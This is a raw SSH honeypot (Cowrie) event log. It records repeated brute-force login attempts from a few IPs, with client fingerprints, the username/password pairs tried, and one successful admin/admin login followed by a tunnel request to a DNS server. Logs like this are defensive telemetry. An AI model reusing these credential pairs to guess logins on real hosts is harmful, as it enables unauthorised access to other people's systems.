{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":45406,"dst_ip":"159.203.135.109","dst_port":22,"session":"15391b3aab46","protocol":"ssh","message":"New connection: 176.65.139.95:45406 (159.203.135.109:22) [session: 15391b3aab46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:38.198145Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:38.206787Z","src_ip":"176.65.139.95","session":"15391b3aab46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:38.327707Z","src_ip":"176.65.139.95","session":"15391b3aab46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX3edc","message":"login attempt [root/1qaz@WSX3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:38.620209Z","src_ip":"176.65.139.95","session":"15391b3aab46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:39.193285Z","src_ip":"80.94.92.186","session":"c11f9c6bf69b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:39.707520Z","src_ip":"176.65.139.95","session":"15391b3aab46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58452,"dst_ip":"159.203.135.109","dst_port":22,"session":"64a9dd04a03f","protocol":"ssh","message":"New connection: 176.65.139.95:58452 (159.203.135.109:22) [session: 64a9dd04a03f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:44.580778Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:44.585419Z","src_ip":"176.65.139.95","session":"64a9dd04a03f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:44.667511Z","src_ip":"176.65.139.95","session":"64a9dd04a03f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mohammad","password":"mohammad","message":"login attempt [mohammad/mohammad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:44.931364Z","src_ip":"176.65.139.95","session":"64a9dd04a03f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:46.211115Z","src_ip":"176.65.139.95","session":"64a9dd04a03f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56872,"dst_ip":"159.203.135.109","dst_port":22,"session":"3e01a2b1a47b","protocol":"ssh","message":"New connection: 176.65.139.95:56872 (159.203.135.109:22) [session: 3e01a2b1a47b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:50.909631Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:50.935829Z","src_ip":"176.65.139.95","session":"3e01a2b1a47b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:50.992990Z","src_ip":"176.65.139.95","session":"3e01a2b1a47b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:51.363386Z","src_ip":"176.65.139.95","session":"3e01a2b1a47b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:52.446983Z","src_ip":"176.65.139.95","session":"3e01a2b1a47b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":56886,"dst_ip":"159.203.135.109","dst_port":22,"session":"c1260967b220","protocol":"ssh","message":"New connection: 176.65.139.95:56886 (159.203.135.109:22) [session: c1260967b220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:57.147141Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:57.211328Z","src_ip":"176.65.139.95","session":"c1260967b220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:57.440572Z","src_ip":"176.65.139.95","session":"c1260967b220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oscar","password":"oscar","message":"login attempt [oscar/oscar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:57.789094Z","src_ip":"176.65.139.95","session":"c1260967b220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:31:58.886002Z","src_ip":"176.65.139.95","session":"c1260967b220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":55702,"dst_ip":"159.203.135.109","dst_port":22,"session":"3121a7ea86a0","protocol":"ssh","message":"New connection: 176.65.139.95:55702 (159.203.135.109:22) [session: 3121a7ea86a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:03.572171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:03.578244Z","src_ip":"176.65.139.95","session":"3121a7ea86a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:03.670074Z","src_ip":"176.65.139.95","session":"3121a7ea86a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qq123456","message":"login attempt [root/Qq123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:04.502443Z","src_ip":"176.65.139.95","session":"3121a7ea86a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51084,"dst_ip":"159.203.135.109","dst_port":22,"session":"61d7fb7481b6","protocol":"ssh","message":"New connection: 159.203.92.129:51084 (159.203.135.109:22) [session: 61d7fb7481b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:05.364709Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:05.370345Z","src_ip":"159.203.92.129","session":"61d7fb7481b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:05.375370Z","src_ip":"159.203.92.129","session":"61d7fb7481b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HQ","password":"123456","message":"login attempt [HQ/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:05.391166Z","src_ip":"159.203.92.129","session":"61d7fb7481b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:05.591918Z","src_ip":"176.65.139.95","session":"3121a7ea86a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:06.421476Z","src_ip":"159.203.92.129","session":"61d7fb7481b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":48982,"dst_ip":"10.17.0.5","dst_port":22,"session":"95ff08123cf5","protocol":"ssh","message":"New connection: 87.251.64.176:48982 (10.17.0.5:22) [session: 95ff08123cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:07.623647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:07.628535Z","src_ip":"87.251.64.176","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:07.724468Z","src_ip":"87.251.64.176","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:08.016563Z","src_ip":"87.251.64.176","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:08.120229Z","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:08.219147Z","src_ip":"87.251.64.176","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:08.318081Z","src_ip":"87.251.64.176","session":"95ff08123cf5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":53072,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7a22bcf15df","protocol":"ssh","message":"New connection: 176.65.139.95:53072 (159.203.135.109:22) [session: c7a22bcf15df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:10.227017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:10.231555Z","src_ip":"176.65.139.95","session":"c7a22bcf15df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:32:10.335749Z","src_ip":"176.65.139.95","session":"c7a22bcf15df","protocol":"ssh"}
